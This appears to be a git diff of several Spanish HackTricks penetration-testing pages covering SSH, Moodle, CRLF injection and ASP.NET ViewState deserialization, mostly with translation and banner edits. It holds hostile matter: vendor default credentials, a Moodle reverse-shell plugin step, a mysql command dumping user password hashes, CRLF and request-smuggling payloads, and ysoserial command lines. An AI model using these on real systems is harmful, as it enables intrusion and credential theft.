* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
@ -56,7 +56,7 @@ Content-Length: 267
* `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).

View File

@ -12,7 +12,7 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
@ -120,7 +120,7 @@ msf> use scanner/ssh/ssh_enumusers
Algunas credenciales comunes de ssh [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
### Fuerza Bruta de Clave Privada
### Fuerza bruta de clave privada
Si conoces algunas claves privadas de ssh que podrían ser utilizadas... vamos a intentarlo. Puedes usar el script de nmap:
```
@ -151,20 +151,20 @@ Para obtener más información, ejecuta `crackmapexec ssh --help`.
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
| ------------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change\_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc\_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC\_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
@ -195,7 +195,7 @@ Por defecto, la mayoría de las implementaciones de servidores SSH permitirán e
### Ejecución de comandos SFTP
Otra configuración incorrecta común de SSH se ve a menudo en la configuración de SFTP. La mayoría de las veces, al crear un servidor SFTP, el administrador desea que los usuarios tengan acceso a SFTP para compartir archivos pero no para obtener una shell remota en la máquina. Entonces piensan que crear un usuario, asignarle una shell de marcador de posición (como `/usr/bin/nologin` o `/usr/bin/false`) y encarcelarlo en una cárcel es suficiente para evitar el acceso a la shell o el abuso en todo el sistema de archivos. Pero están equivocados, **un usuario puede solicitar ejecutar un comando justo después de la autenticación antes de que se ejecute su comando o shell predeterminado**. Entonces, para evitar la shell de marcador de posición que denegará el acceso a la shell, solo se debe solicitar ejecutar un comando (por ejemplo, `/bin/bash`) antes, simplemente haciendo:
Otra configuración incorrecta común de SSH se ve a menudo en la configuración de SFTP. La mayoría de las veces, al crear un servidor SFTP, el administrador desea que los usuarios tengan acceso a SFTP para compartir archivos pero no para obtener una shell remota en la máquina. Entonces, piensan que crear un usuario, asignarle una shell de marcador de posición (como `/usr/bin/nologin` o `/usr/bin/false`) y encarcelarlo en una cárcel es suficiente para evitar el acceso a la shell o el abuso en todo el sistema de archivos. Pero están equivocados, **un usuario puede solicitar ejecutar un comando justo después de la autenticación antes de que se ejecute su comando o shell predeterminado**. Por lo tanto, para evitar la shell de marcador de posición que denegará el acceso a la shell, solo se debe solicitar ejecutar un comando (por ejemplo, `/bin/bash`) antes, simplemente haciendo:
```
$ ssh -v noraj@192.168.1.94 id
...
@ -234,7 +234,7 @@ Match User noraj
X11Forwarding no
```
Esta configuración asegura que el usuario `noraj` solo pueda acceder a través de SFTP y no tenga acceso SSH. Además, se fuerza el uso de autenticación de contraseña, se establece un directorio raíz (`ChrootDirectory`) en `/home/noraj` y se deshabilitan las opciones de túnel, reenvío de agente, reenvío TCP y reenvío X11.
Esta configuración asegura que el usuario `noraj` solo pueda acceder a través de SFTP y no tenga acceso SSH. Además, se habilita la autenticación por contraseña, se establece el directorio raíz en `/home/noraj` y se deshabilitan las opciones de túnel, reenvío de agente, reenvío TCP y reenvío X11.
```
Match User noraj
ChrootDirectory %h
@ -298,9 +298,9 @@ id_rsa
* Puedes encontrar guías interesantes sobre cómo endurecer SSH en [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html)
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
{% embed url="https://www.stmcyber.com/careers" %}

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible, ¡**estamos contratando**! (_se requiere fluidez en polaco, tanto escrito como hablado_).
@ -38,7 +38,7 @@ Puedes exponer **servlets de gestión** a través de las siguientes rutas dentro
```
inurl:status EJInvokerServlet
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).

View File

@ -12,13 +12,13 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## Escaneos Automáticos
## Escaneos automáticos
### droopescan
```bash
@ -85,43 +85,19 @@ Scan completed.
CMSMap es una herramienta de código abierto que se utiliza para escanear y enumerar los sistemas de gestión de contenido (CMS) en un sitio web. Esta herramienta es útil durante las pruebas de penetración para identificar el CMS utilizado por un sitio web y obtener información sobre las vulnerabilidades conocidas asociadas con ese CMS en particular.
#### Características principales
#### Características principales de CMSMap:
- Escaneo de CMS: CMSMap puede escanear un sitio web en busca de CMS populares como WordPress, Joomla, Drupal, Magento, etc. Esto ayuda a los pentesters a identificar rápidamente el CMS utilizado por el sitio web objetivo.
- Escaneo de CMS: CMSMap puede escanear un sitio web en busca de CMS populares como WordPress, Joomla, Drupal, etc. Esto ayuda a los pentesters a identificar rápidamente el CMS utilizado por el sitio web objetivo.
- Enumeración de usuarios: CMSMap puede enumerar los usuarios registrados en un sitio web basado en CMS. Esto puede ser útil para identificar posibles cuentas de administrador o usuarios con privilegios especiales.
- Enumeración de plugins y temas: CMSMap puede enumerar los plugins y temas instalados en un sitio web basado en CMS. Esto proporciona información adicional sobre las funcionalidades y configuraciones del sitio web.
- Escaneo de vulnerabilidades conocidas: CMSMap puede escanear un sitio web en busca de vulnerabilidades conocidas asociadas con el CMS utilizado. Esto ayuda a los pentesters a identificar posibles puntos débiles en el sitio web objetivo.
- Enumeración de vulnerabilidades conocidas: CMSMap puede buscar vulnerabilidades conocidas asociadas con el CMS utilizado por el sitio web. Esto ayuda a los pentesters a identificar posibles puntos débiles y explotarlos durante las pruebas de penetración.
#### Uso básico
- Escaneo de directorios y archivos: CMSMap puede realizar un escaneo de directorios y archivos en un sitio web basado en CMS. Esto puede revelar información sensible o archivos confidenciales que podrían ser explotados por un atacante.
El uso básico de CMSMap implica proporcionar la URL del sitio web objetivo y ejecutar el comando correspondiente. Por ejemplo, para escanear un sitio web en busca de CMS, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL>
```
Para enumerar los usuarios registrados en un sitio web basado en CMS, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL> --users
```
Para enumerar los plugins y temas instalados en un sitio web basado en CMS, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL> --plugins-themes
```
Para escanear un sitio web en busca de vulnerabilidades conocidas asociadas con el CMS utilizado, se puede utilizar el siguiente comando:
```
cmsmap.py -u <URL> --vulnerabilities
```
Es importante tener en cuenta que CMSMap es una herramienta de prueba de penetración y solo debe utilizarse en sistemas y sitios web autorizados. El uso no autorizado de esta herramienta puede ser ilegal y está sujeto a sanciones legales.
CMSMap es una herramienta poderosa que puede ayudar a los pentesters a identificar y explotar vulnerabilidades en los sistemas de gestión de contenido. Sin embargo, es importante utilizar esta herramienta de manera ética y obtener el permiso adecuado antes de realizar pruebas de penetración en un sitio web.
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
@ -138,7 +114,7 @@ Necesitas tener el rol de **gerente** y **puedes instalar complementos** dentro
Si eres gerente, es posible que aún necesites **activar esta opción**. Puedes ver cómo hacerlo en la prueba de concepto de escalada de privilegios de Moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Luego, puedes **instalar el siguiente complemento** que contiene el clásico shell reverso en PHP de pentest-monkey (_antes de subirlo, debes descomprimirlo, cambiar la IP y el puerto del shell reverso y volver a comprimirlo_)
Luego, puedes **instalar el siguiente complemento** que contiene el clásico shell reverso en PHP de pentest-monkey (_antes de subirlo, debes descomprimirlo, cambiar la IP y el puerto del revshell y comprimirlo nuevamente_)
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
@ -160,25 +136,19 @@ Para realizar una prueba de penetración en un sitio web Moodle, es posible que
Aquí hay algunos pasos que puedes seguir para volcar las credenciales de la base de datos:
1. Identifica el tipo de base de datos utilizada por Moodle. Puede ser MySQL, PostgreSQL u otro sistema de gestión de bases de datos.
1. **Enumeración de la base de datos**: Utiliza técnicas de enumeración para identificar el tipo de base de datos utilizada por Moodle. Esto te ayudará a seleccionar las herramientas y comandos adecuados para extraer las credenciales.
2. Utiliza herramientas como `phpMyAdmin` o `pgAdmin` para acceder a la base de datos. Estas herramientas te permitirán ejecutar consultas SQL y extraer datos de la base de datos.
2. **Escaneo de puertos**: Realiza un escaneo de puertos para identificar los servicios y puertos abiertos en el servidor Moodle. Esto te ayudará a determinar si hay algún servicio de base de datos en ejecución.
3. Ejecuta una consulta SQL para extraer las credenciales de la tabla de usuarios. Por ejemplo, en MySQL, puedes usar la siguiente consulta:
3. **Identificación de credenciales de conexión**: Busca en los archivos de configuración de Moodle para encontrar las credenciales de conexión a la base de datos. Estos archivos pueden contener información como el nombre de usuario y la contraseña utilizados para acceder a la base de datos.
```sql
SELECT username, password FROM mdl_user;
```
4. **Extracción de credenciales**: Utiliza herramientas como `mysqldump` o `pg_dump` para extraer las credenciales de la base de datos. Estas herramientas te permitirán realizar una copia de seguridad de la base de datos y guardarla en un archivo.
Esta consulta seleccionará los nombres de usuario y las contraseñas de la tabla `mdl_user`. Asegúrate de ajustar el nombre de la tabla según la configuración de tu base de datos.
4. Guarda los resultados de la consulta en un archivo seguro. Puedes utilizar comandos como `SELECT ... INTO OUTFILE` en MySQL para guardar los resultados en un archivo CSV o TXT.
Recuerda que realizar pruebas de penetración sin el permiso explícito del propietario del sitio web es ilegal y puede tener consecuencias legales graves. Siempre asegúrate de obtener el consentimiento adecuado antes de realizar cualquier prueba de penetración.
Recuerda que realizar pruebas de penetración sin el consentimiento explícito del propietario del sitio web es ilegal y puede tener consecuencias legales graves. Siempre asegúrate de obtener el permiso adecuado antes de realizar cualquier prueba de penetración.
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
@ -191,7 +161,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -12,9 +12,9 @@
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -105,11 +105,11 @@ http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:te
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la misma política de origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) que de otra manera no se podrían explotar.
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían usarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la misma política de origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede establecer cookies que podrían ser explotadas al iniciar sesión en la cuenta del atacante o al explotar vulnerabilidades de scripting entre sitios (XSS) que de otra manera no se podrían explotar.
#### Un ejemplo de inyección de encabezado HTTP para extraer datos sensibles
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartir recursos de origen cruzado), puede usar JavaScript para acceder a recursos que están protegidos por SOP (Política de mismo origen), que evita que los sitios de diferentes orígenes se accedan entre sí.
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Compartir recursos de origen cruzado), puede usar JavaScript para acceder a recursos que están protegidos por SOP (Política de origen mismo), que evita que los sitios de diferentes orígenes se accedan entre sí.
### Nueva solicitud HTTP en SSRF
@ -145,7 +145,7 @@ Puedes inyectar encabezados esenciales para asegurarte de que el **back-end mant
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
A continuación, **especifique una segunda solicitud**. Aquí tienes un [**ataque clásico** de **inserción de solicitudes**](http-request-smuggling/) con **encabezados/cuerpo adicionales** agregados por el servidor después de la inyección.\
A continuación, **especifique una segunda solicitud**. Aquí tienes una **solicitud de contrabando** [**clásica**](http-request-smuggling/) con **encabezados/cuerpo** adicionales agregados por el servidor después de la inyección.\
Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un **prefijo malicioso** para envenenar la solicitud del próximo usuario o una caché web:
@ -168,7 +168,7 @@ Memcache es un **almacenamiento de clave-valor que utiliza un protocolo de texto
Si una plataforma toma **datos de una solicitud HTTP y los utiliza sin sanitizar** para realizar **solicitudes** a un servidor **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad original descubierta, se utilizaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
Por ejemplo, en la vulnerabilidad descubierta originalmente, se utilizaron claves de caché para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt=""><figcaption></figcaption></figure>
@ -178,7 +178,7 @@ Además, los investigadores también descubrieron que podían desincronizar las
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**Para obtener toda la información, lee el** [**informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/).
**Para obtener toda la información, lee el** [**informe original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)\*\*\*\*
## Impactos de la Vulnerabilidad de Inyección de CRLF
@ -223,7 +223,7 @@ La mejor técnica de prevención es no utilizar la entrada de los usuarios direc
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco, tanto escrito como hablado_).
@ -235,7 +235,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View File

@ -12,7 +12,7 @@
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
@ -53,8 +53,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
### Caso de prueba 1.5 - Como el caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá esta cookie).\
Uno podría asumir que si **ViewState** no está presente, su implementación está **segura** de posibles vulnerabilidades relacionadas con la deserialización de ViewState.\
Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada con ysoserial, aún podremos lograr la **ejecución de código** como se muestra en el **Caso 1**.
Uno podría asumir que si **ViewState** no está presente, su implementación está **segura** de cualquier posible vulnerabilidad relacionada con la deserialización de ViewState.\
Sin embargo, ese no es el caso. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr la **ejecución de código** como se muestra en el **Caso 1**.
### Caso de prueba 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -130,9 +130,9 @@ En este caso, Burp no encuentra si el parámetro está protegido con MAC porque
**En este caso, el módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...**
Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios, incluso si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET solo verifica la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará**.
Antes de .NET 4.5, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin encriptar** de los usuarios, incluso si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil sin encriptar, aún se procesará**.
Por lo tanto, si se conoce la Machine Key (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2** para realizar una RCE utilizando la vulnerabilidad de deserialización de ViewState.
Por lo tanto, si se conoce la Machinekey (por ejemplo, a través de un problema de recorrido de directorios), se puede utilizar el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2** para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
* Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, se mostrará un error de validación de MAC de ViewState y la explotación fallará, como se muestra en la figura:
@ -188,7 +188,7 @@ Necesitas usar un parámetro adicional para crear correctamente la carga útil:
```
### Resultado de una Explotación Exitosa <a href="#poc" id="poc"></a>
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona **exitosamente**, el servidor responde con un error interno del servidor "500" y el contenido de la respuesta es "La información de estado no es válida para esta página y puede estar corrupta". Además, obtenemos la solicitud OOB como se muestra en las siguientes figuras:
Para todos los casos de prueba, si el payload ViewState de YSoSerial.Net funciona **exitosamente**, el servidor responde con un "Error interno del servidor 500" y el contenido de la respuesta es "La información de estado no es válida para esta página y puede estar corrupta". Además, obtenemos la solicitud OOB como se muestra en las siguientes figuras:
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
@ -203,7 +203,7 @@ Solicitud fuera de banda con el nombre de usuario actual
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable, ¡**estamos contratando!** (se requiere fluidez en polaco, tanto escrito como hablado).
@ -215,7 +215,7 @@ Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable,
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
